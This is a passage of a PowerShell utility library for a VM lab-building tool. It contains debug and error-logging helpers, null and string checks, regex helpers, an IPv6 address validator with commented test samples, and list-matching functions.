  } elseif (([int] $exp.ErrorCode) -ne 0) {
          
    $oneErrorCode = $exp.ErrorCode
  
  } elseif (([int] $exp.ErrorCode.value__) -ne 0) {

    # Note: for example System.Management.ManagementStatus
    $oneErrorCode = $exp.ErrorCode.value__
  }

  return $oneErrorCode
}


function global:Get-ErrorDescription ([string] $function, [System.Collections.ArrayList] $er, [bool] $addInnerExceptions)
{
  [string] $dbgMsgs = '{0} : {1}x : ' -f $function, $er.Count

  foreach ($oneEr in $er) { 
  
    $dbgMsgs += "$oneEr`n"

    if ($addInnerExceptions) {

      $innerEr = $oneEr.Exception.InnerException
      while ($innerEr -ne $null) {

        $dbgMsgs += "Inner exception: $innerEr`n"
        $innerEr = $innerEr.InnerException
      }
    }

      
    $hresultExp = $oneEr.Exception
    $errorCodes = @()
    while ($hresultExp -ne $null) {

      $oneErrorCode = Get-ExceptionErrorCode $hresultExp

      if ($oneErrorCode -ne 0) {

        $errorCodes += '{0} (0x{1:X8})' -f $oneErrorCode, $oneErrorCode
        
      } else {

        $errorCodes += '0'
      }

      $hresultExp = $hresultExp.InnerException
    }

    $dbgMsgs += "Error codes: {0}`n" -f ($errorCodes -join ', ')
  }

  return $dbgMsgs
}


function global:DBGER ([string] $function, [System.Collections.ArrayList] $er, [string] $errorPrefix, [bool] $addInnerExceptions, [switch] $silent)
{
  if ($dbgOut) {
  
    $dbgMsgs = $null

    if ($er.Count -ge 1) {

      $dbgMsgs = Get-ErrorDescription -function $function -er $er -addInnerExceptions $addInnerExceptions

    } elseif (Is-Null $er) {

      $dbgMsgs = $function
    }

    if (Is-ValidString $dbgMsgs) {

      if ([string]::IsNullOrEmpty($errorPrefix)) {

        if (-not $silent) {
      
          $errorPrefix = 'Error'

        } else {

          $errorPrefix = 'SilentError'
        }
      }

      if (-not $silent) {
        
        $global:assertOrErrorTriggered = $true
      }

      DBG ('{0}: {1}' -f $errorPrefix, $dbgMsgs)  $global:errorColor

      if (Is-NonNull $er) {

        $er.Clear()
      }

      # Note: just due to have a sorted output in a correct order
      Start-Sleep -Seconds 1
    }
  }
}


function global:DBGFINAL ([object] $out)
{
  DBGIF $MyInvocation.MyCommand.Name { $out.GetType().Name -ne 'PSCustomObject' }

  $strOut = ($out | fl * | Out-String)
  DBG "Output:"
  DBG $strOut

  if (<#(Is-EmptyString $jobInternalID) -and #>$global:dbgOutConsole -and $dbgWaitKey) { 
    
    Write-Host 'Press a key to continue...' -ForegroundColor Green
    [void] $host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
  }
}

function global:DBGKEY ([string] $message)
{
  DBGX $message
  [void] $host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
}


function global:DBGWMI ([object] $wmiResult)
{
  DBG ('WMI result: valid = {0} | returnValue = {1}' -f (Is-NonNull $wmiResult), $wmiResult.ReturnValue)

  if (Is-NonNull $wmiResult) {

    $wmiProperties = Get-Member -InputObject $wmiResult -MemberType Property | ? { ($_.Name -notlike '__*') -and ($_.Name -ne 'ReturnValue') } | Select-Object -ExpandProperty Name

    if ((Get-CountSafe $wmiProperties) -gt 0) {

      [string[]] $propertiesOut = @()

      foreach ($oneWmiProperty in $wmiProperties) {

        if (Is-ValidString $oneWmiProperty.Trim()) {

          $propertiesOut += ('{0} = {1}' -f $oneWmiProperty, $wmiResult.$oneWmiProperty)
        }
      }

      if ($propertiesOut.Count -gt 0) {

        DBG ('WMI result: class = {0} | {1}' -f $wmiResult.__CLASS, (Format-MultiValue $propertiesOut))
      }
    }
  }
}

function global:DBGPRM ([hashtable] $parameters, [string] $paramSet)
{
  [Collections.ArrayList] $descriptors = @()

  if (-not ([string]::IsNullOrEmpty($paramSet))) {

    [void] $descriptors.Add(('@{0}' -f $paramSet))
  }

  foreach ($oneParameterKey in $parameters.keys) {

    $oneParameterValue = $parameters[$oneParameterKey]

    # Note: the very first test must be on the [ref] type, because in such a case the following [object]::Equals($null) on PowerShell 2.0
    #       would raise an exception saying: Argument 1 should not be a System.Management.Automation.PSReference. Do not use [ref]
    if ($oneParameterValue -is 'System.Management.Automation.PSReference') {

      [void] $descriptors.Add(('{0}=ref#{1}' -f $oneParameterKey, $oneParameterValue.Value))
    
    } elseif ([object]::Equals($oneParameterValue, $null)) {

      [void] $descriptors.Add(('{0}=-' -f $oneParameterKey))
    
    } elseif ($oneParameterValue -is 'System.Xml.XmlElement') {

      [Text.StringBuilder] $xmlDescriptor = New-Object System.Text.StringBuilder

      foreach ($oneAttribute in $oneParameterValue.psbase.Attributes) {

        [void] $xmlDescriptor.Append(('{0}:{1}' -f $oneAttribute.Name, $oneAttribute.'#text'))
      }

      [void] $descriptors.Add(('{0}=xml#{1}({2})' -f $oneParameterKey, $oneParameterValue.psbase.Name, $xmlDescriptor.ToString()))

    } elseif ($oneParameterValue -is 'HashTable') {

      [void] $descriptors.Add(('{0}=keys#{1}' -f $oneParameterKey, $oneParameterValue.Keys.Count))

    } elseif ($oneParameterValue -is 'Array') {

      if ($oneParameterValue.Length -gt 7) {

        [void] $descriptors.Add(('{0}=[{1}]{2}...' -f $oneParameterKey, $oneParameterValue.Length, ($oneParameterValue[0..6] -join ',')))
      
      } else {

        [void] $descriptors.Add(('{0}=[{1}]{2}' -f $oneParameterKey, $oneParameterValue.Length, ($oneParameterValue -join ',')))
      }

    } elseif ($oneParameterValue -is 'System.Collections.ArrayList') {

      if ($oneParameterValue.Count -gt 7) {

        [void] $descriptors.Add(('{0}=[{1}]{2}...' -f $oneParameterKey, $oneParameterValue.Count, ($oneParameterValue[0..6] -join ',')))
      
      } else {

        [void] $descriptors.Add(('{0}=[{1}]{2}' -f $oneParameterKey, $oneParameterValue.Count, ($oneParameterValue -join ',')))
      }

    } elseif ($oneParameterValue -is 'System.DirectoryServices.DirectoryEntry') {

      [void] $descriptors.Add(('{0}=adsi#{1}' -f $oneParameterKey, $oneParameterValue.psbase.Path))
    
    } else {

      [void] $descriptors.Add(('{0}={1}' -f $oneParameterKey, $oneParameterValue))
    }

  }
  
  return ($descriptors -join '|')
}

function global:DBGVERSIONHEADER ()
{
  DBG ('')
  DBG ('###################################################################')  
  DBG ('#                                                                 #')
  DBG ('#  VM Builder {0,5}  {1}        (code lines: {2,6:D})       #' -f ('v{0:D}' -f $adlabVersionThisLib), $adlabReleaseDateThisLib.ToString('yyyy-MM-dd'), $adlabCodeLinesCount)
  DBG ('#  (C) Ondrej Sevecek - www.sevecek.com, ondrej@sevecek.com       #')
  DBG ('#                                                                 #')
  DBG ('###################################################################')  
  DBG ('')
}

function global:Define-NullTester ()
{
  $nullTesterClass = @"
public static class NullTester
{
  public static bool IsNull (object ObjectToTest)
  {
    return (ObjectToTest == null);
  }
}
"@

  if (-not ('NullTester' -as [type])) {

    # Gets called too much soon to use DBG
    #DBG ('Define the new type.')
    Add-Type -TypeDefinition $nullTesterClass

  } else {

    #DBG ('The type already exists. Skipping.')
  }
}



function global:Is-Null ([object] $object)
{
  <#$eqRes = $object -eq $null
  $neRes = $object -ne $null
    
  #DBGIF ("{0} : Incorrect type of BOOL: {1}" -f $MyInvocation.MyCommand.Name, $eqRes.GetType().Name) { (($eqRes -isnot [bool]) -or ($neRes -isnot [bool])) }

  $res = $true
  
  if (($eqRes -isnot [bool]) -or ($neRes -isnot [bool]))
  {
    #DBG ("Incorrect type of BOOL on type: {0}" -f $object.GetType().Name)
    $res = $false
   
  } else {
  
    $res = $eqRes
  }#>

<#

[string] $oneString = ''
$oneString -eq $null
# $false

[string] $oneString = $null
$oneString -eq $null
# $false - string always contains '' instead of $null

$oneStringNoType = $null
$oneStringNoType -eq $null
# $true - the type of the variable is [object] now, so it can contain $null

[string[]] $stringArray = $null
$stringArray -eq $null
# $true

$stringArray.Count
# - no output, as the $stringArray is $null, it does not contain .Count and as such does return $null as well
$stringArray.Count -eq $null
# $true

[System.Collections.ArrayList] $stringList = $null
$stringList -eq $null
# $true

$stringList.Count
$stringList.Count -eq $null
# $true - the same case as with [string[]]

[string[]] $stringArray = @()
$stringArray.Count
# 0
$stringArray -eq $null
# - no output
($stringArray -eq $null).GetType()
# [object[]]
($stringArray -eq $null).Count
# 0

[string[]] $stringArray = @($null)
$stringArray.Count
# 1
$stringArray -eq $null
# - no output, as the result is actually an array
($stringArray -eq $null).GetType()
# [object[]]
($stringArray -eq $null).Count
# 0 - although the 

[string[]] $stringArray = @($null, $null)
$stringArray.Count
# 2
$stringArray -eq $null
# - no output
($stringArray -eq $null).GetType()
# [object[]]
($stringArray -eq $null).Count
# 0

[string[]] $stringArray = @($null, 'test', $null)
$stringArray.Count
# 3
$stringArray -eq $null
# - no output
($stringArray -eq $null).GetType()
# [object[]]
($stringArray -eq $null).Count
# 0

[string[]] $stringArray = @('test', 'test', $null)
$stringArray.Count
# 3
$stringArray -eq $null
# - no output
($stringArray -eq $null).GetType()
# [object[]]
($stringArray -eq $null).Count
# 0

[string[]] $stringArray = @('test', 'test', 'test')
$stringArray.Count
# 3
$stringArray -eq $null
# - no output
($stringArray -eq $null).GetType()
# [object[]]
($stringArray -eq $null).Count
# 0

[string[]] $stringArray = @('test', 'test', 'test')
$stringArray.Count
# 3
$stringArray -ne $null
# test test test
($stringArray -ne $null).GetType()
# [object[]]
($stringArray -ne $null).Count
# 3

[string[]] $stringArray = @('test', $null, 'test')
$stringArray.Count
# 3
$stringArray -ne $null
# test  test
($stringArray -ne $null).GetType()
# [object[]]
($stringArray -ne $null).Count
# 3
($stringArray -ne $null)[0].GetType()
# [string]

[string[]] $stringArray = @($null, $null, 'test')
$stringArray.Count
# 3
$stringArray -ne $null
#   test
($stringArray -ne $null).GetType()
# [object[]]
($stringArray -ne $null).Count
# 3
($stringArray -ne $null)[0].GetType()
# [string]

[string[]] $stringArray = @($null, $null, $null)
$stringArray.Count
# 3
$stringArray -ne $null
#   
($stringArray -ne $null).GetType()
# [object[]]
($stringArray -ne $null).Count
# 3
($stringArray -ne $null)[0].GetType()
# [string]

[string[]] $stringArray = @($null)
$stringArray.Count
# 1
$stringArray -ne $null
# 
($stringArray -ne $null).GetType()
# [object[]]
($stringArray -ne $null).Count
# 1
($stringArray -ne $null)[0].GetType()
# [string]

[string[]] $stringArray = @()
$stringArray.Count
# 0
$stringArray -ne $null
# - no output
($stringArray -ne $null).GetType()
# [object[]]
($stringArray -ne $null).Count
# 0

#>

<#
  [bool] $res = $false
  $testNull = $object -eq $null
  
  if ($testNull -is [bool]) {

    $res = $testNull

    #DBGIF ('Incorrect type of NULL comparison: {0} | {1}' -f $res, (-not $object)) { (-not $object) -ne $res }
  }
  
  elseif ($testNull -is [object[]]) {

    # not even this techniquie works for $reader in the Test-SQL
    # where there is no .Count member at all so the assert conditions are both met
    $testCount = $object.Count
    DBGIF ('{0} : Incorrect type of BOOL(A): {1}, {2}' -f $MyInvocation.MyCommand.Name, ($object.GetType().Name), ($testNull.GetType().Name)) { ($testCount -eq $null) -or ($testCount -isnot [int]) } 
    $res = $object.Count -eq $null
    # this doest not work for most instances, such as emtpy ArrayList anyway
    #$res = -not $object

    #DBGSTART
    # Get-Member produces an exception if the InputObject is $null
    #[void] (Get-Member -InputObject $object -EA SilentlyContinue)
    #DBGIF ('Incorrect type of BOOL(C): {0}' -f $res) { ($error.Count -gt 0) -and (-not $res) }
    #DBGER $MyInvocation.MyCommand.Name $error
    #DBGEND
  }
  
  else {
  
    DBGIF ('{0} : Incorrect type of BOOL(B): {1}, {2}' -f $MyInvocation.MyCommand.Name, ($object.GetType().Name), ($testNull.GetType().Name)) { $true } 
  }
  
  return $res
#>
  if ($object -is [System.Management.Automation.PSReference]) {

    # There is still the weirdness with PowerShell 2.0 where the PSReference cannot be passed into the C# code
    # returning an error:
    # Argument 1 should not be a System.Management.Automation.PSReference. Do not use [ref].
    $result = $object -eq $null
    DBGIF $MyInvocation.MyCommand.Name { $result -isnot [bool] }
    return $result

  } else {

    return [NullTester]::IsNull($object)
  }
}

function global:Is-NonNull ([object] $object)
{
  return (-not (Is-Null $object))
}

function global:Is-ValidString ([object] $string)
{
  return (-not (Is-EmptyString $string))
}

function global:Is-EmptyString ([object] $string)
{
  # Note: we cannot use parameter type as [string] because it would convert anything to [string]
  #       which means that some objects would appear by their type name or anything else comming from ToString() method
  #       -isnot [string] ... for example ADSI DEs refer to their empty members as PSMethod: gm -i $de.nonExisting = PSMethod
  #
  # return ([bool] ((Is-Null $string) -or ($string -isnot [string]) -or (($string -is [string]) -and ($string.Trim() -eq ''))))
  # the previous implementation does not work for values of type [char] nor [System.Text.StringBuilder] which we better do implement
  #

  return ([bool] ((Is-Null $string) -or (($string -isnot [char]) -and ($string -isnot [string]) -and ($string -isnot [System.Text.StringBuilder])) -or (($string -is [string]) -and ($string.Trim() -eq '')) -or (($string -is [char]) -and ($string.ToString().Trim() -eq '')) -or (($string -is [System.Text.StringBuilder]) -and ($string.ToString().Trim() -eq ''))))
}

function global:Is-Array ([object] $objOrArray)
{
  # Note: not all IEnumerable, ICollection, IList nor IDictionary will go through pipe as its members
  #       a good example is:
  #       $adsiObj = [adsi] 'WinNT://./ondra'
  #       $adsiObj.Properties | % {}          - which does only one iteration
  #       $adsiObj.Properties.Values | % {}   - while this iterates through all the properties
  #       $adsiObj.Properties.Count           - returns Count correctly
  #       $adsiObj.Properties.Values.Count    - returns Count correctly

  [Microsoft.PowerShell.Commands.MemberDefinition] $countMember = $null
  $countMember = Get-Member -InputObject $objOrArray -Name Count -EV er -EA SilentlyContinue
  DBGER $MyInvocation.MyCommand.Name $er 
  
  [bool] $res = $false
  
  if (Is-NonNull $countMember) {

    DBGIF ('{0} : Incorrect type of Count: {1} | {2}' -f $MyInvocation.MyCommand.Name, $countMember.Definition, $countMember.TypeName) { $objOrArray.Count -isnot [int] } 
    $res = $true

    DBGIF ('Weird array type: {0} | {1}' -f $objOrArray.GetType().Name, (($objOrArray.GetType().GetInterfaces() | select -Expand Name) -join ',')) { ($objOrArray -isnot [System.Collections.IEnumerable]) -and ($objOrArray -isnot [System.Collections.ICollection]) -and ($objOrArray -isnot [System.Collections.IList]) -and ($objOrArray -isnot [System.Collections.IDictionary]) }
  }

  return $res
}


function global:Is-ValidHandle ([IntPtr] $handle) {

  return (($handle -ne [IntPtr]::Zero) -and ($handle -ne -1))
}


function global:Trim-Safe ([string] $string, [string] $chars)
{
  [string] $outString = ''

  if (Is-ValidString $string) {

    $outString = $string.Trim($chars)
  }

  return $outString
}


function global:Trim-SafeWhitespace ([string] $string)
{
  [string] $outString = ''

  if (Is-ValidString $string) {

    $outString = [regex]::Replace($string, '\s+', ' ').Trim()
  }

  return $outString
}


function global:Trim-Diacritics ([string] $string)
# This function removes accents/abbreviations/diacritics from a Unicode string
# tested for Latin and Cyrilice
{
  [string] $outString = ''

  if (Is-ValidString $string) {

    $normalString = $string.Normalize('FormD')
    $workString = New-Object System.Text.StringBuilder

    for ($i = 0; $i -lt $normalString.Length; $i ++) {

      if ([System.Globalization.CharUnicodeInfo]::GetUnicodeCategory($normalString[$i]) -ne 'NonSpacingMark') {

        [void] $workString.Append($normalString[$i])
      }
    }

    $outString = $workString.ToString().Normalize('FormC')
  }

  return $outString
}


function global:RxFullStr ([string] $regex)
{
  if ($regex -notlike '\A?*') {

    $regex = '\A' + $regex
  }

  if ($regex -notlike '?*\Z') {

    $regex = $regex + '\Z'
  }

  return $regex
}


function global:RxFreeStr ([string] $regex)
{
  if ($regex -like '\A?*') {

    $regex = $regex.SubString(2)
  }

  if ($regex -like '?*\Z') {

    $regex = $regex.SubString(0, ($regex.Length - 2))
  }

  return $regex
}


function global:Is-IPv6Address ([string] $address, [bool] $mightNotBeIPv6)
{

function Is-IPv6AddressInternal ([string] $address, [bool] $mightNotBeIPv6)
{
<#

Test sample:

@(

((Is-IPv6Address '::1') -eq $true),
((Is-IPv6Address '::') -eq $true),

((Is-IPv6Address '::1111') -eq $true),
((Is-IPv6Address '::1111:5555') -eq $true),

((Is-IPv6Address 'fe80::') -eq $true),
((Is-IPv6Address 'fe80::38ab') -eq $true),

((Is-IPv6Address 'fe80:1122:3344::') -eq $true),
((Is-IPv6Address 'fe80:1122:3344::5566') -eq $true),
((Is-IPv6Address 'fe80:11:344::5') -eq $true),
((Is-IPv6Address '80:11:344::5') -eq $true),
((Is-IPv6Address '0:11:344::5') -eq $true),

((Is-IPv6Address 'fe80:2222:3333:4444:5555:6666:7777:8888') -eq $true),

((Is-IPv6Address 'fe80:2222:3333:4444:5555:6666:1.2.3.4') -eq $true),
((Is-IPv6Address 'fe80:2222:3333::1.2.3.4') -eq $true),
((Is-IPv6Address '::1.2.3.4') -eq $true),
((Is-IPv6Address '::254.2.3.4') -eq $true),

((Is-IPv6Address 'fe80::31f4:22e2:8f5d:1d9b') -eq $true),

((Is-IPv6Address 'fe80:31f4:22e2:8f5d:1d9b::') -eq $true),
((Is-IPv6Address '::fe80:31f4:22e2:8f5d:1d9b') -eq $true),
((Is-IPv6Address '1.2.3.4::' $true) -eq $false),

((Is-IPv6Address 'fe80::38ab::cdef' $true) -eq $false),
((Is-IPv6Address 'fe80:38ab:::cdef' $true) -eq $false),
((Is-IPv6Address 'fe80:2222:3333:4444:5555:6666:7777:1.2.3.4' $true) -eq $false),
((Is-IPv6Address 'fe80:2222:3333:4444:5555:6666:1.2.3.4:3333' $true) -eq $false),
((Is-IPv6Address 'fe80:1122:3344:' $true) -eq $false),
((Is-IPv6Address 'fe80:1122:3344' $true) -eq $false),
((Is-IPv6Address 'fe80:2222:3333:4444:5555:6666:7777:' $true) -eq $false),
((Is-IPv6Address ':fe80:2222:3333:4444:5555:6666:7777' $true) -eq $false),
((Is-IPv6Address ':fe80:2222:3333:4444:5555:6666:7777:8888' $true) -eq $false),
((Is-IPv6Address ':fe80:2222:3333:4444:5555:6666:7777:8888:9999' $true) -eq $false),
((Is-IPv6Address 'fe80:2222:3333:4444:5555:6666:7777:8888:9999' $true) -eq $false),
((Is-IPv6Address '1.2.3.4' $true) -eq $false),
((Is-IPv6Address '::1.2.3.4') -eq $true),
((Is-IPv6Address 'a::1.2.3.4') -eq $true),

((Is-IPv6Address '2607:f0d0:1002:51::4') -eq $true),
((Is-IPv6Address '2607:f0d0:1002:0051:0000:0000:0000:0004') -eq $true),
((Is-IPv6Address '::ffff:192.0.2.47') -eq $true),
((Is-IPv6Address 'FE80:0000:0000:0000:0202:B3FF:FE1E:8329') -eq $true),
((Is-IPv6Address 'FE80::0202:B3FF:FE1E:8329') -eq $true),
((Is-IPv6Address '2001:0db8::0001') -eq $true),
((Is-IPv6Address '2001:db8:0::1') -eq $true),
((Is-IPv6Address '2001:db8:0:1' $true) -eq $false),
((Is-IPv6Address '2001:db8::1') -eq $true),
((Is-IPv6Address '2001:0db8:85a3:0000:0000:8a2e:0370:7334') -eq $true),
((Is-IPv6Address '2001:0db8:0000:0000:0000:ff00:0042:8329') -eq $true),
((Is-IPv6Address '2001:db8:0:0:0:ff00:42:8329') -eq $true),
((Is-IPv6Address '2001:db8::ff00:42:8329') -eq $true),
((Is-IPv6Address '0000:0000:0000:0000:0000:0000:0000:0001') -eq $true),
((Is-IPv6Address '::192.0.2.128') -eq $true),
((Is-IPv6Address '2001:db8:a0b:12f0::1') -eq $true),
((Is-IPv6Address '2001:db8:a0b:12f0::1%eth0' $true) -eq $false),
((Is-IPv6Address 'FF01:0:0:0:0:0:0:1') -eq $true),
((Is-IPv6Address '2001:0000:6dcd:8c74:76cc:63bf:ac32:6a1') -eq $true),
((Is-IPv6Address '2001:11::3f4b:1aff:f7b2') -eq $true),
((Is-IPv6Address '2002:6dcd:8c74:6501:fb2:61c:ac98:6be') -eq $true),
((Is-IPv6Address 'fd07:a47c:3742:823e:3b02:76:982b:463') -eq $true),
((Is-IPv6Address 'fea3:c65:43ee:54:e2a:2357:4ac4:732') -eq $true),
((Is-IPv6Address '24a6:57:c:36cf:0000:5efe:109.205.140.116') -eq $true),
((Is-IPv6Address '2002:5654:ef3:c:0000:5efe:109.205.140.116') -eq $true),
((Is-IPv6Address 'fdf8:f53b:82e4::53') -eq $true)

)

#>

  if ($address -notlike '*:*') {

    DBGIF ('No doubledot in IPv6 address: {0}' -f $address) { -not $mightNotBeIPv6 }
    return $false
  }

  if ($address -notmatch '\A[a-fA-F0-9:.]+\Z') {

    DBGIF ('Invalid characters in IPv6 address: {0}' -f $address) { $true }
    return $false
  }


  [System.Collections.ArrayList] $words = $address.Split(':')

  if (((Get-CountSafe $words) -gt 8) -or ((Get-CountSafe $words) -lt 3)) {

    DBGIF ('Too many or too few words in IPv6 address: {0}' -f $address) { $true }
    return $false
  }

  
  if ($address.SubString($address.IndexOf('::') + 1) -like '*::*') {

    DBGIF ('Too many doubledots in IPv6 address: {0}' -f $address) { $true }
    return $false
  }


  if ((-not $address.Contains('::')) -and ((Get-CountSafe $words) -ne 8)) {

    DBGIF ('Too few words in IPv6 address: {0}' -f $address) { $true }
    return $false
  }


  if ((-not $address.Contains('::')) -and ($words.Contains(''))) {

    DBGIF ('Zero word without doubledot in IPv6 address: {0}' -f $address) { $true }
    return $false
  }


  for ($i = 0; $i -lt $words.Count; $i++) {

    $oneWord = $words[$i]

    if ($oneWord.Contains('.')) {

      if ($i -lt ($words.Count - 1)) {

        DBGIF ('IPv4 not the last word in IPv6 address: {0}' -f $address) { $true }
        return $false 
      }

      if ($oneWord -notmatch $global:rxIPv4) {

        DBGIF ('The last word not an IPv4 address in IPv6 address: {0}' -f $address) { $true }
        return $false
      }

    } else {

      if ($oneWord.Length -gt 4) {
       
        DBGIF ('Too long word in IPv6 address: {0}' -f $address) { $true }
        return $false
      }

      if ($oneWord.Length -gt 0) {

        DBGSTART
        [int] $wordConverted = [int]::Parse($oneWord, [System.Globalization.NumberStyles]::HexNumber)
        
        if ($error.Count -gt 0) {

          DBGIF ('Not a number word in IPv6 address: {0}' -f $address) { $true }
          return $false
        }
        DBGEND

        if (($wordConverted -lt 0) -or ($wordConverted -gt 65535)) {

          DBGIF ('Bigger number than a word in IPv6 address: {0}' -f $address) { $true }
          return $false
        }
      }
    }
  }

  return $true
}


  $rxIPv6_8x2bytes = '[a-fA-F0-9]{1,4}(?:\:[a-fA-F0-9]{1,4}){7}'
  $rxIPv6_DD1_7x2bytes = '\:(?:\:[a-fA-F0-9]{1,4}){1,7}'
  # Note: weak match but well hungry
  $rxIPv6_1_6x2bytesDD1_6x2bytes_weak = '[a-fA-F0-9]{1,4}(?:\:[a-fA-F0-9]{1,4}){0,5}\:(?:\:[a-fA-F0-9]{1,4}){1,6}'
  # Note: this one has a trailing doubledot which the previous one does not match
  $rxIPv6_1_7x2bytesDD = '[a-fA-F0-9]{1,4}(?:\:[a-fA-F0-9]{1,4}){0,7}\:\:'

  # Note: the $rxIPv6_1_6x2bytesDD1_6x2bytesWeak must go sooner than the others because they are sub-sets of it
  #       the IPv4 forms must go sooner yet as thay are also supersets of the others
  $rxIPv6pure_weak = "(?:$rxIPv6_8x2bytes)|(?:$rxIPv6_DD1_7x2bytes)|(?:$rxIPv6_1_6x2bytesDD1_6x2bytes_weak)|(?:$rxIPv6_1_7x2bytesDD)|(\:\:)"

  $rxIPv4_freetext = RxFreeStr $global:rxIPv4
  $rxIPv6withIPv4_weak = "(?:$($rxIPv6_8x2bytes.Replace('7', '5'))\:(?:$rxIPv4_freetext))|(?:$($rxIPv6_DD1_7x2bytes.Replace('7', '5'))\:(?:$rxIPv4_freetext))|(?:$($rxIPv6_1_6x2bytesDD1_6x2bytes_weak.Replace('{0,5}', '{0,4}').Replace('{1,6}', '{0,4}'))\:(?:$rxIPv4_freetext))|(\:\:(?:$rxIPv4_freetext))"

  # Note: again, the IPv6withIPv4 is a superset to the rxIPv6pure
  $rxIPv6_weak = "$rxIPv6withIPv4_weak|$rxIPv6pure_weak"


  # Note: intentionally we do not use \A and \Z because we want to 
  #       ensure that the match captures as much text as possible hungrily
  #       - see the later assert
  [string] $matchResult = [regex]::Match($address, "$rxIPv6_weak").Value
  $matchResult = $matchResult.Trim()


  [System.Net.IPAddress] $ipParsed = $null
  $successParsed = [System.Net.IPAddress]::TryParse($address, ([ref] $ipParsed))
  DBGIF ('Invalid IPv6 address: {0}' -f $address) { (-not $mightNotBeIPv6) -and ((-not $successParsed) -or ($ipParsed.AddressFamily -ne 'InterNetworkV6')) }

  # Note: seems like our code is not necessary
  #       as there appeared a better NetFx method to be used
  #$res = Is-IPv6AddressInternal $address $mightNotBeIPv6
  #DBGIF ('Our IPv6 parsing different than Netfx results: {0} | {1} | {2}' -f $address, $parsed, $ipParsed.IpAddressToString) { ($res -and ((-not $parsed) -or ($ipParsed.AddressFamily -ne 'InterNetworkV6'))) -or ((-not $res) -and $parsed -and (($ipParsed.AddressFamily -eq 'InterNetworkV6'))) }

  $result = $successParsed -and ($ipParsed.AddressFamily -eq 'InterNetworkV6')
  # Note: raise in case we did not match anything (empty $matchResult) or even in the case
  #       we matched but not the whole address
  DBGIF ('Non-matched IPv6 address: {0} | {1}' -f $address, $matchResult) { $result -and ($matchResult -ne $address) }

  return $result
}


function global:Is-IPv4OrIPv6Address ([string] $address)
{
  if (($address -like '*:*') -and (-not (Is-IPv6Address $address))) {

    return $false
  }

  if (($address -notlike '*:*') -and ($address -notmatch $global:rxIPv4)) {

    return $false
  }

  if ($address -like '*:*') {

    return (Is-IPv6Address $address)
  }

  return $true
}


function global:Get-GuidString ([bool] $brackets)
{
  [string] $theGuid = $null

  $theGuid = [System.GUID]::NewGUID().ToString()

  if ($brackets) {

    $theGuid = '{{{0}}}' -f $theGuid
  }

  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $theGuid }

  return $theGuid
}


function global:Obtain-ListIdx ($anyNonindexableList, [int] $idx)
{
  # Note: there are some non-indexable lists, such as XPathNodeList (the .SelectNodes() result)
  #       which cannot be indexed (in PowerShell 2.0) but can be iterated through

  [int] $id = 0
  foreach ($oneItem in $anyNonindexableList) {

    if ($id -eq $idx) {

      return $oneItem
    }

    $id ++
  }
}


function global:Obtain-ListMember ([System.Collections.ArrayList] $list, [hashtable] $nameValueLikeMatching)
{
  # Note: stupid behavior in case of KeyCollection and possibly others
  #if ($list.Count -eq 1) { if ($PSVersionTable['PSversion'].Major -gt 2) { DBGIF ('{0}: Possibly incorrect function parameter refilling: {1}' -f $MyInvocation.MyCommand.Name, $list[0].GetType().Name) { $list[0] -is [Collections.IEnumerable] } } else { DBGIF ('{0}: Possibly incorrect function parameter refilling: {1}' -f $MyInvocation.MyCommand.Name, $list[0].GetType().Name) { $list[0].GetType().Name -eq 'KeyCollection' } } }


  [object] $result = $null

  if ((Is-NonNull $list) -and (Is-NonNull $nameValueLikeMatching) -and ($nameValueLikeMatching.Count -gt 0)) {

    foreach ($one in $list) {

      $fullMatching = $true

      foreach ($oneKey in $nameValueLikeMatching.Keys) {

        if ($oneKey -eq $global:emptyValueMarker) {

          $fullMatching = $fullMatching -and ($one -like $nameValueLikeMatching[$oneKey])

        } else {

          $fullMatching = $fullMatching -and ($one.$oneKey -like $nameValueLikeMatching[$oneKey])
        }
      }

      if ($fullMatching) { 
      
        $result = $one
        break
      }
    }
  }

  return $result
}


function global:Obtain-ListMembers ([System.Collections.ArrayList] $list, [hashtable] $nameValueMatching)
{
  # Note: stupid behavior in case of KeyCollection and possibly others
  #if ($list.Count -eq 1) { if ($PSVersionTable['PSversion'].Major -gt 2) { DBGIF ('{0}: Possibly incorrect function parameter refilling: {1}' -f $MyInvocation.MyCommand.Name, $list[0].GetType().Name) { $list[0] -is [Collections.IEnumerable] } } else { DBGIF ('{0}: Possibly incorrect function parameter refilling: {1}' -f $MyInvocation.MyCommand.Name, $list[0].GetType().Name) { $list[0].GetType().Name -eq 'KeyCollection' } } }


  [System.Collections.ArrayList] $result = @()

  if ((Is-NonNull $list) -and (Is-NonNull $nameValueMatching) -and ($nameValueMatching.Count -gt 0)) {

    foreach ($one in $list) {

      $fullMatching = $true

      foreach ($oneKey in $nameValueMatching.Keys) {

        if ($oneKey -eq $global:emptyValueMarker) {

          $__ = $one

        } else {

          $__ = $one.$oneKey
        }

        if ($nameValueMatching[$oneKey] -isnot [ScriptBlock]) {

          $fullMatching = $fullMatching -and ($__ -eq $nameValueMatching[$oneKey])

        } else {

          $fullMatching = $fullMatching -and (& $nameValueMatching[$oneKey])
        }
      }

      if ($fullMatching) { 
      
        [void] $result.Add($one)
      }
    }
  }

  return ,$result
}


function global:Contains-Safe ([System.Collections.ArrayList] $list, [object] $value, [string[]] $memberNames)
# remapping of the attribute memberNames is done as: guid>adminDescription
# which then evaluates as: $value.adminDescription = $list.guid
# mind the fact that $memberNames.Count = 1 has a special meaning
{
  # Note: stupid behavior in case of KeyCollection and possibly others
  #if ($list.Count -eq 1) { if ($PSVersionTable['PSversion'].Major -gt 2) { DBGIF ('{0}: Possibly incorrect function parameter refilling: {1}' -f $MyInvocation.MyCommand.Name, $list[0].GetType().Name) { $list[0] -is [Collections.IEnumerable] } } else { DBGIF ('{0}: Possibly incorrect function parameter refilling: {1}' -f $MyInvocation.MyCommand.Name, $list[0].GetType().Name) { $list[0].GetType().Name -eq 'KeyCollection' } } }


  [bool] $contains = $false

  if (Is-NonNull $list) {

    if ((Is-Null $memberNames) -or ($memberNames.Count -eq 0)) {

      foreach ($one in $list) {
        
        if ($one -eq $value) { 
      
          $contains = $true
          break
        }
      }
    
    } elseif ($memberNames.Count -eq 1) {

      $valName = $memberNames[0]

      foreach ($one in $list) {

        if ($one.$valName -eq $value) {

          $contains = $true
          break
        }
      }

    } elseif ($memberNames.Count -gt 1) {

      foreach ($one in $list) {

        $oneMatches = $true

        foreach ($valName in $memberNames) {

          if ($valName.Contains('>')) {

            $valNameList = $valName.Split('>')[1]
            $valNameValue = $valName.Split('>')[0]

          } else {

